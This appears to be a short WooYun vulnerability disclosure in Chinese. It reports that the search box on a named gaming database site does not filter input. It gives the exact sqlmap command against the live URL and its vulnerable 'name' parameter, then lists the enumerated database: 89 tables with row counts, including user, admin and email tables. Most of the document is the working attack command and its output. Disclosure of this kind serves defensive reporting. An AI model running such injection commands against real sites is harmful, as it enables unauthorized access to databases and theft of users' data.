WooYun.org

搜索框没有过滤导致注入
sqlmap -u "http://gamedb.766.com/hon/hero/search.html" --data "name=99999"

89个表
Database: gamedb_766_com
+-----------------------------------+---------+
| Table | Entries |
+-----------------------------------+---------+
| area_video_guidance | 4751 |
| tps_map_score | 3062 |
| area_video_video | 2374 |
| tps_map_upload | 1160 |
| loldb_skin | 764 |
| hots_talent | 678 |
| loldb_skill | 640 |
| area_video_credit_log | 537 |
| jf_simulator_skill | 527 |
| jf_simulator_score | 521 |
| tps_map_praise | 453 |
| tbl_gamedb_lol_equip | 448 |
| tbl_gamedb_dota2_skill | 434 |
| wows_code_log | 429 |
| wows_code_user | 331 |
| tbl_gamedb_sm_equip | 273 |
| jf_simulator_upload | 228 |
| area_video_email | 212 |
| hon_skill | 211 |
| loldb_equipment | 193 |
| blol_code_log | 179 |
| blol_code_user | 130 |
| loldb_data | 130 |
| tbl_gamedb_dota2_item | 130 |
| tbl_gamedb_dota2_item_category | 130 |
| hon_item | 128 |
| loldb_hero | 128 |
| tbl_gamedb_lol_hero_parter | 119 |
| tbl_gamedb_lol_hero_period | 119 |
| tbl_gamedb_lol_hero | 118 |
| tbl_gamedb_lol_hero_copy | 118 |
| dnfmnq_data | 113 |
| tbl_gamedb_dota2_hero | 108 |
| tbl_gamedb_dota2_hero_attr | 108 |
| area_video_prize_detail | 73 |
| jf_simulator_type | 55 |
| hon_hero | 54 |
| area_video_score | 50 |
| area_video_prize_log | 49 |
| tbl_gamedb_sm_hero_cms | 46 |
| tbl_gamedb_sm_hero | 44 |
| tbl_gamedb_sm_hero_addskill | 44 |
| tbl_gamedb_sm_hero_attribute | 44 |
| tbl_gamedb_sm_hero_parter | 44 |
| tbl_gamedb_sm_hero_period | 44 |
| tbl_gamedb_sm_hero_skill | 44 |
| area_video_comment | 35 |
| hots_hero | 35 |
| tbl_gamedb_sm_hero_url | 35 |
| tbl_gamedb_sm_hero_ext_video | 30 |
| tps_map_skill | 26 |
| tps_map_map | 21 |
| loldb_summon | 15 |
| tbl_gamedb_sm_skill_ext_intro | 15 |
| tbl_gamedb_dota2_admin_node | 14 |
| speedrank_upload | 13 |
| area_video_user | 12 |
| tbl_gamedb_dota2_admin_log | 12 |
| blol_code_qa | 11 |
| hots_index_show | 11 |
| wows_code_qa | 10 |
| cod_db_data | 9 |
| tps_map_job | 9 |
| area_video_type | 6 |
| tbl_gamedb_sm_rili_other | 6 |
| area_video_admin | 5 |
| tbl_gamedb_sm_skill_copy | 5 |
| tbl_gamedb_sm_skill_copy1 | 5 |
| tbl_gamedb_lol_equip_copy | 4 |
| area_video_prize | 3 |
| speedrank_level | 3 |
| speedrank_map | 2 |
| tbl_gamedb_sm_hero_attribute_copy | 2 |
| tbl_gamedb_sm_rili | 2 |
| tbl_gamedb_sm_equip_copy1 | 1 |
| tbl_gamedb_sm_hero_free | 1 |
| tbl_gamedb_sm_hero_skill_copy1 | 1 |
| tbl_gamedb_sm_rili_everyday | 1 |
+-----------------------------------+---------+